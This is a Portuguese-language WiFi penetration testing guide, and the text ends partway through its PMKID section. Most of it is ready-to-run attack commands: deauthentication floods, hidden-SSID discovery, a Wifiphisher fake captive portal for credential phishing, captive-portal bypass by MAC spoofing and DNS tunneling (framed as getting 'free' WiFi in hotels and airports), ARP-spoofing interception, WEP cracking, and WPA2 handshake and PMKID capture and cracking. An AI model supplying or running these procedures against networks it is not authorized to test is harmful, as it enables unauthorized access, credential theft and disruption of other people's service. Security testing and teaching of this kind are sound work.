Guia de Teste de Penetração WiFi

Índice

1. Comandos básicos

2. Redes abertas

   2.1. Portais cativos

   2.2. Ataque Man-in-the-Middle

3. Quebra de WEP

   3.1. Sem clientes

4. Quebra de WPA2-PSK

   4.1. Quebrando o handshake de 4 vias

   4.2. Ataque PMKID

   4.3. Ataque sem AP

5. WPA2-Enterprise

   5.1. Pontos de Acesso Falsos

   5.2. Força bruta

   5.3. Métodos EAP suportados

6. Outros ataques

   6.1. Ataque Krack e Ataque Frag

   6.2. OSINT

   6.3. Bloqueio de WiFi

   6.4. Outros frameworks

7. Pós-exploração

   7.1. Atacando o roteador

   7.2. Tipos de scanners

   7.3. Spoofing

---

1. Comandos básicos

Definir variável de ambiente

VARIABLE=value

Verificar modo da interface

iwconfig $IFACE

Verificar status da interface

ifconfig $IFACE

Definir modo monitor

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Listar redes

1. Definir modo monitor

2. Executar Airodump-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Desautenticação

1. Apenas um cliente

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Um Ponto de Acesso (= todos os clientes no AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Obter SSID oculto com clientes

1. Listar redes

Liste as redes usando Airodump-ng e obtenha o endereço MAC do AP ($AP_MAC) e de um cliente ($CLIENT_MAC). Não pare a captura.

2. Desautenticar

Em outro terminal, desautentique um cliente ou todos. Quando o Airodump-ng capturar um handshake desta rede, o nome ou ESSID aparecerá no primeiro terminal:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Obter SSID oculto sem clientes

1. Listar redes

Liste as redes usando Airodump-ng e obtenha o endereço MAC do AP ($AP_MAC) e de um cliente ($CLIENT_MAC). Não pare a captura.

2.a. Executar um ataque de dicionário

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Ou executar um ataque de força bruta

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Para o conjunto de caracteres, é possível usar l (letras minúsculas), u (letras maiúsculas), n (números), c (minúsculas+maiúsculas), m (minúsculas+maiúsculas+números) ou a (todos os imprimíveis).

---

2. Redes abertas

2.1. Portais cativos

2.1.1. Portais cativos falsos

1. Clone um site usando HTTrack

2. Instale o Wifiphiser. Adicione o resultado do HTTrack em uma nova pasta em wifiphisher/data/phishing-pages/new_page/html e um arquivo de configuração em wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompile o projeto usando python setup.py install ou o binário em bin.

4. Este comando funciona corretamente na versão mais recente do Kali após instalar o hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Bypass 1: Spoofing de MAC

O primeiro método para contornar um portal cativo é alterar seu endereço MAC para o de um usuário já autenticado

1. Escaneie a rede e obtenha a lista de endereços IP e MAC. Você pode usar:

• nmap

• Um script personalizado como este (Bash) ou este (Python)

2. Altere seus endereços IP e MAC. Você pode usar:

• macchanger

• Um script personalizado como este(Bash)

Além disso, você pode usar scripts para automatizar o processo como:

• Script Poliva

• Hackcaptiveportals

2.1.3. Bypass 2: Tunelamento DNS

Um segundo método é criar um túnel DNS. Para isso, é necessário ter um servidor DNS acessível próprio. Você pode usar este método para contornar o portal cativo e obter WiFi "grátis" em hotéis, aeroportos...

1. Verifique se os nomes de domínio são resolvidos:

nslookup example.com

2. Crie 2 registros DNS (no Digital ocean, Afraid.org...):

• Um "registro A": dns.$DOMAIN apontando para $SERVER_IP (Exemplo: dns.domain.com 139.59.172.117)

• Um "registro NS": hack.$DOMAIN apontando para dns.$DOMAIN (Exemplo: hack.domain.com dns.domain.com)

3. Execução no servidor

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Verifique se funciona corretamente aqui

5. Execução no cliente

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Criar o túnel

ssh -D 8080 [email protected]

2.2. Ataque Man-in-the-Middle

Uma vez na rede, você pode testar se ela é vulnerável a ataques Man-in-the-Middle.

1. Ataque de ARP Spoofing usando Ettercap

2. Sniffar o tráfego usando Wireshark ou TCPdump

3. Analisar o tráfego usando PCredz (Linux) ou Network Miner (Windows)

---

3. Quebra de WEP

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Acelerar a captura de IVs usando Fake authentication + Arp Request Replay Attack + Desautenticar usuário. Pare o Airodump em ~100.000 IVs diferentes

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Quebrar a senha usando Aircrack-ng

aircrack-ng $PCAP_FILE

---

4. Quebra de WPA2-PSK

4.1. Quebrando o handshake de 4 vias

1. Iniciar captura

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Desautenticar um usuário. Pare a captura do airodump quando vir uma mensagem 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Opção 1: Quebrar o handshake usando Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Você pode obter wordlists aqui.

4. Opção 2: Quebrar o handshake usando Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. Ataque PMKID

Você pode usar este script ou seguir estes passos:

1. Instale Hcxdumptool e Hcxtool (você pode usar este script).

2. Pare o Network Manager

airmon-ng check kill

3a. Se quiser atacar um endereço MAC específico

• Crie um arquivo de texto ($FILTER_FILE) e adicione o endereço MAC sem ":". Você pode usar sed e redirecionar a saída para um arquivo:

echo $MAC | sed 's/://g' > $FILTER_FILE

• Capture o PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. Crie $HASH_FILE